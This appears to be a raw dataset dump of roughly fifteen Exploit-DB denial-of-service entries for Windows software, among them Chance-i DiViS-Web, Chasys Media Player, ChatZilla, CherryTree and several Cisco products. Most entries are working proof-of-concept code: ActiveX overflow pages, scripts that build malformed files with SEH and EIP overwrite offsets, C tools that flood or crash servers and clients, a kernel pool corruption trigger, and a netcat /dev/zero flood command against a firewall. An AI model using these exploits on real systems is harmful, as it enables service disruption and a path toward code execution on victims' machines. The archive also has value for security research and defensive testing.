deardaniel/secdata-raw huggingface dataset:
Exploit-DB #8391
Description: Chance-i DiViS-Web DVR System - ActiveX Control Heap Overflow (PoC)
Type: dos
Platform: windows
Date: 2009-04-10
Author: DSecRG

Exploit:
Digital Security Research Group [DSecRG] Advisory       #DSECRG-09-035

original advisory:   http://dsecrg.com/pages/vul/DSECRG-09-035.html


Application:                Chance-i DiViS-Web DVR System ActiveX control
Versions Affected:          3,0,0,7
Vendor URL:                 http://www.chance-i.com/
Bug:                        Heap Overflow
Exploits:                   YES
Reported:                   13.03.2009
Second Reported:            20.03.2009
Solution:                   NONE
Date of Public Advisory:    09.04.2009
Author:                     Digital Security Research Group [DSecRG] (research [at] dsecrg [dot] com)



Description
***********

DiViS-Web ActiveX (ActiveView.cab) has Heap Overflow vulnerability.



Details
*******

Heap overflow vulnerability found in AddSiteEx() function.

There is an exploitable heap overflow vulnerability in DVR's ActiveX
control (ActiveView.cab).

If an DVR user were to visit a malicious web page, the overflow could be triggered allowing for a "remote" compromise of the user's machine. Alternatively, an attacker could send their target a specially crafted e-mail, loaded with an exploit to take advantage of this vulnerability.

The problem arises by passing an overly long string to the AddSiteEx
method of the control.

PoC:

    <OBJECT ID="DVR" classid="clsid:66F7F252-3FE1-4650-B1E5-94B2A38271C5" STYLE="width: 0px;">
    <PARAM NAME="_Version" VALUE="65536">
    <PARAM NAME="_ExtentX" VALUE="18203">
    <PARAM NAME="_ExtentY" VALUE="13705">
    <PARAM NAME="_StockProps" VALUE="0">
    <PARAM NAME="Split" VALUE="4">
    </OBJECT>

    //server address
    var g_sAddress = location.hostname;
    var g_sId = "";
    var g_sPwd = "";
    var g_bLogin = false;
    var g_nMaxCamera = 16;

    // Port setting
    var g_nImage = 3000;
    var g_nControl = 3001;
    var g_nSound = 8800;

    var long_buff = "alexsint";

    while(long_buff.length<(550*8)) long_buff = long_buff + "alexsint"; //rewrite registers

    DVR.Channels = 1;

    DVR.AddSiteEx("", "", long_buff, "", 0, g_nImage, g_nControl, g_nSound); //Crash on Free() at ntdll



Solution
********

We did not get any response from vendor for more than 2 weeks.

No patches aviable.



About
*****

Digital Security is leading IT security company in Russia, providing information security consulting, audit and penetration testing services, risk analysis and ISMS-related services and certification for ISO/IEC 27001:2005 and PCI DSS standards.
Digital Security Research Group focuses on web application and database security problems with vulnerability reports, advisories and whitepapers posted regularly on our website.


Contact:    research [at] dsecrg [dot] com
            http://www.dsecrg.com
            http://www.dsec.ru

# milw0rm.com [2009-04-10]
Exploit-DB #11537
Description: Chasys Media Player 1.1 - '.mid' Local Buffer Overflow
Type: dos
Platform: windows
Date: 2010-02-22
Author: cr4wl3r

Exploit:
#!/usr/bin/perl

# Chasys Media Player 1.1 (.mid) Local Buffer Overflow
# Exploit Coded by: cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>
# From: Indonesia
#
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
# WARNING - WARNING - WARNING - WARNING
#~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#
#
#
# Disclaimer: The author published the information under the condition
#             that is not in the intention of the reader to use them in order to bring
#             to himself or others a profit or to bring to others damage.
#
#
# Gr33tz: No Thanks


print "
[+]-------------------------------------------------------[+]
[+] Chasys Media Player 1.1 (.mid) Local Buffer Overflow  [+]
[+] By : cr4wl3r <cr4wl3r\x40linuxmail\x2Eorg>            [+]
[+]-------------------------------------------------------[+]
";


$buff =
"\x52\x49\x46\x46\xff\xff\x00\x00\x52\x4d\x49\x44\x64\x64\x64\x64" .
"\xf8\xff\xff\xff\x4d\x54\x68\x64\xff\xff\xff\xff\xf8\xff\xff\xf8" .
"\xf8\xff\xff\xff\xf7\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" .
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff" .
"\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff\xff";

open(file, "> sploit.mid");
print (file $buff);
print "\n\n[+] Done...!!!\n
[+] Open with Chasys Media Player\n
[+] Coded by cr4wl3r\n";
Exploit-DB #8232
Description: Chasys Media Player 1.1 - '.pls' Local Buffer Overflow (PoC) (SEH)
Type: dos
Platform: windows
Date: 2009-03-18
Author: zAx

Exploit:
#!/usr/bin/python
# Chasys Media Player 1.1 (.pls) Local Buffer Overflow (SEH) PoC
# SEH And NEXT_SEH are Overwritten but shellcode doesn't executed !!!
# I have tried a lot of Addresses .
# Waitting for the Exploit from someone .
# Download : http://www.jpcha2.com/setup/chasys_media_player.zip
print "  Chasys Media Player 1.1 (.pls) Local Buffer Overflow (SEH) PoC"
print "  Discovered By : zAx"
print "  Contact : ThE-zAx@Hotmail.Com"
header = "\x5B\x70\x6C\x61\x79\x6C\x69\x73\x74\x5D\x0A\x4E\x75\x6D\x62\x65\x72\x4F\x66\x45\x6E\x74\x72\x69\x65\x73\x3D\x31\x0A\x46\x69\x6C\x65\x31\x3D"
junk = "\x41"*2024
next_seh = "\x42"*4
seh = "\x43"*4
other_data = "\xCC"*800
ex = header + junk + next_seh + seh + other_data
file=open("zAx.pls","w")
file.write(ex)
file.close()

# milw0rm.com [2009-03-18]
Exploit-DB #23150
Description: ChatZilla 0.8.23 - Remote Denial of Service
Type: dos
Platform: windows
Date: 2003-09-15
Author: D4rkGr3y

Exploit:
// source: https://www.securityfocus.com/bid/8627/info

It has been reported that ChatZilla is prone to a denial of service vulnerability. The problem arises as a remote attacker posing as an IRC server sends specially crafted requests to the client containg large strings.

If successful, an attack would lead to a denial of service in the client software.

It is not known if this condition could also be exploited to execute arbitrary code on the client.

ChatZilla versions 0.8.23 and prior are reported to be prone to this issue. 

/*
 *  ChatZilla <=v0.8.23 remote DoS exploit
 *
 *  by m00 Security // www.m00security.org
 *
 *  This sploit creats a fake irc-server on any port. Every connected
 *  ChatZilla-client will have cpu-usage 100%.
 *
 *  Complete advisory:
 *  www.m00security.org/adv/adv003.txt
 *
 *  -d4rkgr3y [d4rk@securitylab.ru]
 */

#include<sys/types.h>
#include<sys/socket.h>
#include<netinet/in.h>
#include<arpa/inet.h>
#include<unistd.h>
#include<signal.h>
#include<stdio.h>
#include<stdlib.h>
#include<string.h>

#define COUNT 60000
#define request "NOTICE AUTH :*** Welcome to fake m00 IRCd\n"

int main(int argc, char **argv)
{
        struct sockaddr_in db;
        int sock, i, len, lame;
        const c = COUNT;
        char buf[60000] = ":Serv 000 user666 :Welcome to the underworld";
        printf("\nChatZilla <=v0.8.23 remote DoS exploit // 
www.m00security.org\n\n");
        if (argc!=2){
                printf("[-] error in params. Usage\n %s port\n",argv[0]);
                exit(1);
        } else {
                printf("[~] Generating evil buf....");
        }
        /* constructing evil buf */
        for (i=0;i<c;i++)
        {
                strcat(buf,"A");
        }
        strcat(buf,"\n");
        printf(" OK\n");
        /* creating fake irc-server */
        db.sin_family = AF_INET;
        db.sin_addr.s_addr = INADDR_ANY;
        db.sin_port = htons(atoi(argv[1]));
        sock = socket(PF_INET, SOCK_STREAM, 0);
        if(bind(sock, (struct sockaddr*)&db, sizeof(db)) == -1) {
                perror("[-] bind()");
                _exit(0);
        }
        /* OK */
        printf("[+] fake ircd created on port %s\n",argv[1]);
        /* waiting for connect */
        listen(sock, SOMAXCONN);
        while(1) {
                printf("[+] User connected. Attacking....");
                len = sizeof(db);
                lame = accept(sock, (struct sockaddr*)&db, &len);
                /* go go go */
                write(lame,request,strlen(request));
                write(lame,buf,strlen(buf));
                printf(" OK\n");
                close(lame);
                close(sock);
                return(0);
        }
}
Exploit-DB #20049
Description: Check Point Software Firewall-1 4.0/1.4.1 - Resource Exhaustion (Denial of Service)
Type: dos
Platform: windows
Date: 2000-06-30
Author: SecureXpert Labs

Exploit:
source: https://www.securityfocus.com/bid/1416/info

The Check Point Firewall-1 SMTP Security Server in Firewall-1 4.0 and 4.1 on Windows NT is vulnerable to a simple network-based attack which can increase the firewall's CPU utilization to 100%. Sending a stream of binary zeros (or other invalid SMTP commands) to the SMTP port on the firewall raises the target system's load to 100% while the load on the attacker's machine remains relatively low. According to Check Point Software this only disables mail relay while allowing other firewall operations to continue normally. 


This can easily be reproduced from a Linux system using netcat with an input of /dev/zero, with a command such as "nc firewall 25 < /dev/zero".
Exploit-DB #40638
Description: CherryTree 0.36.9 - Memory Corruption (PoC)
Type: dos
Platform: windows
Date: 2016-10-27
Author: n30m1nd

Exploit:
#!/usr/bin/python

### CherryTree 0.36.9 - Memory Corruption PoC by n30m1nd ### 

# Date: 2016-10-27
# PoC Author: n30m1nd
# Vendor Homepage: http://www.giuspen.com/cherrytree/
# Software Link: http://www.giuspen.com/software/cherrytree_0.36.9_setup.exe
# Version: Affects all versions of CherryTree prior to 0.37.6
# Tested on: Win7 64bit and Win10 64 bit

# Credits
# =======
# Thanks to Giusepe Penone for this invaluable piece of free, open source software and also for quickly patching this vuln.
# Shouts to the crew at Offensive Security for their huge efforts on making	the infosec community better

# How to
# ======
# * Run this python script. It will generate a "PoC-1.ctd" file.
# * Open the file and hover over the link.
# Bonus
# =====
# It will also crash if you click on the link (but it will also make your graphic drivers stop working sometimes...)

# Why?
# ====
# For what we have seen debugging the crash (thanks R0c0!), it happens inside libcairo2.0.dll due to a null pointer reference when
# trying to draw the contents of the graphical bitmaps.

# Exploit code
# ============

crashfile = '''<?xml version="1.0" ?>
<cherrytree>
    <node custom_icon_id="0" foreground="" is_bold="False" name="PoC" prog_lang="custom-colors" readonly="False" tags="" unique_id="1">
        <rich_text link="node 1 '''+ "A"*65534 + '''">MOUSE OVER THIS</rich_text>
    </node>
</cherrytree>
'''

with open("PoC-1.ctd", 'w') as f:
    f.write(crashfile)
    f.close()
Exploit-DB #13
Description: Chindi Server 1.0 - Denial of Service
Type: dos
Platform: windows
Date: 2003-04-18
Author: Luca Ercoli

Exploit:
/***************************************************
* Chindi server 1.0  Denial of Service
* Proof of Concept by Luca Ercoli  luca.ercoli at inwind.it
* After DoS, server appears to be up, but will not allow
* new connections.                                           
****************************************************

#include 
#include 
#include 
#include 
#include 

#define PORT    4444
#define DOS     "crash"


int main(int argc, char *argv[]){

int nOpt,count,sockfd;
struct hostent *he;
struct sockaddr_in server_addr;

char *host;

printf ("\nChindi server 1.0 remote DoS\n\n");

if(argc < 2 ) {
                printf ("Usage: %s -t target\n",argv[0]);
                exit(0);
        }

while((nOpt = getopt(argc, argv, "t")) != -1) {

        switch(nOpt) {
                        case 't':
                        host = optarg;
                        break;
                        default:exit(0);
                }
        }

if ((he = gethostbyname(argv[2])) == NULL)
          {
                  herror("gethostbyname");
                  exit(1);
          }

server_addr.sin_family = AF_INET;
server_addr.sin_port = htons(PORT);
server_addr.sin_addr = *((struct in_addr *) he->h_addr);

sockfd = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

if (connect (sockfd, (struct sockaddr *) &server_addr,sizeof(struct 
sockaddr)) == -1)
          {
                  perror("Connect");
                  exit(1);
          }

printf("1. Connected\n");
sleep(1);
printf("2. Sending crash string\n");
sleep(1);
printf("3. Verifing server status: ");
sleep(1);

for (count=0; count<9999; count++) send(sockfd,DOS,strlen(DOS),0);

close(sockfd);


// milw0rm.com [2003-04-18]
Exploit-DB #14511
Description: ChordPulse 1.4 - Denial of Service
Type: dos
Platform: windows
Date: 2010-07-30
Author: Madjix

Exploit:
# Vendor: http://www.chordpulse.com/
########################################################################################
#                                                           _                          #
#                           .-----.--.--.--.----.----.-.---| |                         #
#                           |  _  |  |  |  |     |  -__|  _  |                         #
#                           |   __|________|__|__|_____|_____|                         #
#                           |__|        By MadjiX                                      #
#                                      Sec4ever.com                                    #
########################################################################################
#Title : ChordPulse <--- 1.4 Denial of Service Vulnerability                           #
#author : MadjiX <Dz8[]Hotmail{}com>                                                   #
#Gr33tz : His0k4 , Bibi-info , volc4n0                                                 #
########################################################################################
my $file="madjix.cps";
my $dz="\x41" x 5000 ;
open(MYFILE,'>>MadjiX.cps');
print MYFILE $dz;
close(MYFILE);
Exploit-DB #34158
Description: Chrome Engine 4 - Denial of Service
Type: dos
Platform: windows
Date: 2010-06-17
Author: Luigi Auriemma

Exploit:
source: https://www.securityfocus.com/bid/40945/info

Chrome Engine 4 is prone to a denial-of-service vulnerability.

An attacker can exploit this issue to crash the affected server, resulting in denial-of-service conditions.

Chrome Engine version 4 is vulnerable; other versions may also be affected.

https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/34158.zip
Exploit-DB #39776
Description: CIScan 1.00 - Hostname/IP Field Crash (PoC)
Type: dos
Platform: windows
Date: 2016-05-06
Author: Irving Aguilar

Exploit:
#!/usr/bin/env python
# -*- coding: utf-8 -*-
#
# Exploit Title	: CIScanv1.00 Hostname/IP Field Local BoF PoC
# Discovery by  	: Irving Aguilar
# Email		: im.aguilar@protonmail.ch
# Discovery Date	: 05.05.2016
# Software Link 	: http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx#
# Tested Version	: 1.00
# Vulnerability Type	: Denial of Service (DoS) Local
# Tested on OS		: Windows 7 Enterprise SP1 x64 en
#
#
# Steps to Produce the Crash:
# 1.- Run python code : python CIScanv1-BoF.py
# 2.- Open CIScanv1-BoF.txt and copy content to clipboard
# 3.- Open CIScan.exe
# 4.- Clic button Ok
# 5.- Paste Clipboard Scan > Hostname/IP
# 6.- Clic on add button (->)
# 7.- Clic button Aceptar
# 8.- Crashed

buffer = "\x41" * 388
eip = "\x42" * 4

f = open ("CIScanv1-BoF.txt", "w")
f.write(buffer + eip)
f.close()
Exploit-DB #39802
Description: CIScan 1.00 - Hostname/IP Field Overwrite (SEH) (PoC)
Type: dos
Platform: windows
Date: 2016-05-11
Author: Nipun Jaswal

Exploit:
#!/usr/bin/python
# Exploit Title     : CIScanv1.00 Hostname/IP Field SEH Overwrite POC
# Discovery by      : Nipun Jaswal
# Email             : mail@nipunjaswal.info
# Discovery Date    : 11/05/2016
# Software Link     : http://www.mcafee.com/us/downloads/free-tools/ciscan.aspx
# Tested Version    : 1.00
# Vulnerability Type: SEH Overwrite POC
# Tested on OS      : Windows 7 Home Basic
# Steps to Reproduce: Copy contents of evil.txt file and paste in the Hostname/IP Field. Press ->
##########################################################################################
#  -----------------------------------NOTES----------------------------------------------#
##########################################################################################

#SEH chain of main thread
#Address    SE handler
#0012FA98   43434343
#42424242   *** CORRUPT ENTRY ***

# Offset to the SEH Frame is 536
buffer = "A"*536
# Address of the Next SEH Frame
nseh = "B"*4
# Address to the Handler Code, Generally P/P/R Address
seh = "C" *4
f = open("evil.txt", "wb")
f.write(buffer+nseh+seh)
f.close()
Exploit-DB #18641
Description: Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT - ActiveX Control PlayerPT.ocx sprintf Buffer Overflow (PoC)
Type: dos
Platform: windows
Date: 2012-03-22
Author: rgod

Exploit:
<!--
Cisco Linksys WVC200 Wireless-G PTZ Internet Video Camera PlayerPT ActiveX 
Control PlayerPT.ocx sprintf Buffer Overflow Vulnerability

when viewing the device web interface it asks
to install an ActiveX control with the following settings:

ProductName: PlayerPT ActiveX Control Module
File version: 1.0.0.15
Binary path: C:\WINDOWS\system32\PlayerPT.ocx
CLSID: {9E065E4A-BD9D-4547-8F90-985DC62A5591}
ProgID: PLAYERPT.PlayerPTCtrl.1
Safe for scripting (registry): True
Safe for initialization (registry): True

try this google dork for WVC200:
linksys wireless-g ptz inurl:main.cgi

Vulnerability:
the SetSource() method is vulnerable to a buffer overflow
vulnerability. Quickly, ollydbg dump:

...
03238225   8B5424 20        mov edx,dword ptr ss:[esp+20]
03238229   894424 10        mov dword ptr ss:[esp+10],eax
0323822D   B9 32000000      mov ecx,32
03238232   33C0             xor eax,eax
03238234   8B72 F8          mov esi,dword ptr ds:[edx-8]
03238237   8DBC24 E8020000  lea edi,dword ptr ss:[esp+2E8]
0323823E   F3:AB            rep stos dword ptr es:[edi]
03238240   8B3D 0C062603    mov edi,dword ptr ds:[<&MSVCRT.sprintf>] ; msvcrt.sprintf
03238246   52               push edx
03238247   8D8C24 EC020000  lea ecx,dword ptr ss:[esp+2EC]
0323824E   68 48612603      push PlayerPT.03266148                   ; ASCII "%s"
03238253   51               push ecx
03238254   FFD7             call edi <---------------boom
...

rgod
-->
<!-- saved from url=(0014)about:internet --> 
<HTML>
<object classid='clsid:9E065E4A-BD9D-4547-8F90-985DC62A5591' id='obj' />
</object>
<script>
var x="";
for (i=0; i<13999; i++){
    x = x + "aaaa";
}
obj.SetSource("","","","",x);
</script>
Exploit-DB #45275
Description: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
Type: dos
Platform: windows
Date: 2018-08-28
Author: Luis Martínez

Exploit:
# Exploit Title: Cisco Network Assistant 6.3.3 - 'Cisco Login' Denial of Service (PoC)
# Discovery by: Luis Martinez
# Discovery Date: 2018-08-27
# Vendor Homepage: https://www.cisco.com/
# Software Link : https://software.cisco.com/download/home/286277276/type/280775097/release/6.3.3
# Tested Version: 6.3.3
# Vulnerability Type: Denial of Service (DoS) Local
# Tested on OS: Windows 10 Pro x64 es

# Steps to Produce the Crash: 
# 1.- Run python code : python Cisco_Network_Assistant_6.3.3.py
# 2.- Open Cisco_Network_Assistant_6.3.3.txt and copy content to clipboard
# 3.- Open Cisco Network Assistant
# 4.- Authenticate to Cisco CCO
# 5.- Paste ClipBoard on "Cisco Login"
# 6.- Crashed

#!/usr/bin/env python
 
buffer = "\x41" * 6900000
f = open ("Cisco_Network_Assistant_6.3.3.txt", "w")
f.write(buffer)
f.close()
Exploit-DB #31394
Description: Cisco User-Changeable Password (UCP) 3.3.4.12.5 - 'CSuserCGI.exe' Multiple Remote Vulnerabilities
Type: dos
Platform: windows
Date: 2008-03-12
Author: felix

Exploit:
source: https://www.securityfocus.com/bid/28222/info

Cisco User-Changeable Password (UCP) is prone to multiple remote vulnerabilities, including cross-site scripting and buffer-overflow vulnerabilities.

Exploiting the cross-site scripting issues may help the attacker steal cookie-based authentication credentials and launch other attacks. Exploiting the buffer-overflow vulnerabilities allows attackers to execute code in the context of the affected application, facilitating the remote compromise of affected computers.

The buffer-overflow issues are tracked by Cisco Bug ID CSCsl49180. The cross-site scripting issues are tracked by Cisco Bug ID CSCsl49205.

These issues affect versions prior to UCP 4.2 when running on Microsoft Windows. 

http://www.example.com/securecgi-bin/CSUserCGI.exe?Logout+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB.xyzab.c.hacker.
Exploit-DB #4911
Description: Cisco VPN Client - IPSec Driver Local kernel system pool Corruption (PoC)
Type: dos
Platform: windows
Date: 2008-01-15
Author: mu-b

Exploit:
/* cpndrv-dos.c
 *
 * Copyright (c) 2008 by <mu-b@digit-labs.org>
 *
 * Cisco Systems VPN Client IPSec Driver local kernel system pool corruption POC
 * by mu-b - Sat 11 Jan 2008
 *
 * - Tested on: CVPNDRVA.sys 5.0.02.0090
 *
 * specifying an input buffer size less-than 8+31-bytes results in the
 * local kernel non-paged pool (METHOD_BUFFERED) being corrupted with
 * uninitialised (dangling) kernel stack memory via an inline memcpy.
 *
 * Compile: MinGW + -lntdll
 *
 *    - Private Source Code -DO NOT DISTRIBUTE -
 * http://www.digit-labs.org/ -- Digit-Labs 2008!@$!
 */

#include <stdio.h>
#include <stdlib.h>

#include <windows.h>
#include <ddk/ntapi.h>

#define CVPN_IOCTL    0x80002038
#define CVPN_LEN      0x10       /* n < 8 + 31 */

struct ioctl_req {
  char arg[CVPN_LEN];
};

int
main (int argc, char **argv)
{
  struct ioctl_req req;
  HANDLE hFile;
  BOOL result;
  DWORD rlen;

  printf ("Cisco VPN Client IPSec Driver local kernel system pool corruption PoC\n"
          "by: <mu-b@digit-labs.org>\n"
          "http://www.digit-labs.org/ -- Digit-Labs 2008!@$!\n\n");

  hFile = CreateFileA ("\\\\.\\CVPNDRVA", FILE_EXECUTE,
                       FILE_SHARE_READ|FILE_SHARE_WRITE, NULL,
                       OPEN_EXISTING, 0, NULL);
  if (hFile == INVALID_HANDLE_VALUE)
    {
      fprintf (stderr, "* CreateFileA failed, %d\n", hFile);
      exit (EXIT_FAILURE);
    }

  memset (&req, 0x00, sizeof req);
  req.arg[0] = 0x69;

  /* corrupt the system pool */
  printf ("* hitting.. [sizeof: %d]\n", sizeof req);
  Sleep (5000);

  result = DeviceIoControl (hFile, CVPN_IOCTL,
                            &req, sizeof req, &req, sizeof req, &rlen, 0);
  if (!result)
    {
      fprintf (stderr, "* DeviceIoControl failed\n");
      exit (EXIT_FAILURE);
    }
  printf ("done\n\n"
          "* hmmm, you didn't STOP the box?!?!\n");

  CloseHandle (hFile);

  return (EXIT_SUCCESS);
}

// milw0rm.com [2008-01-15]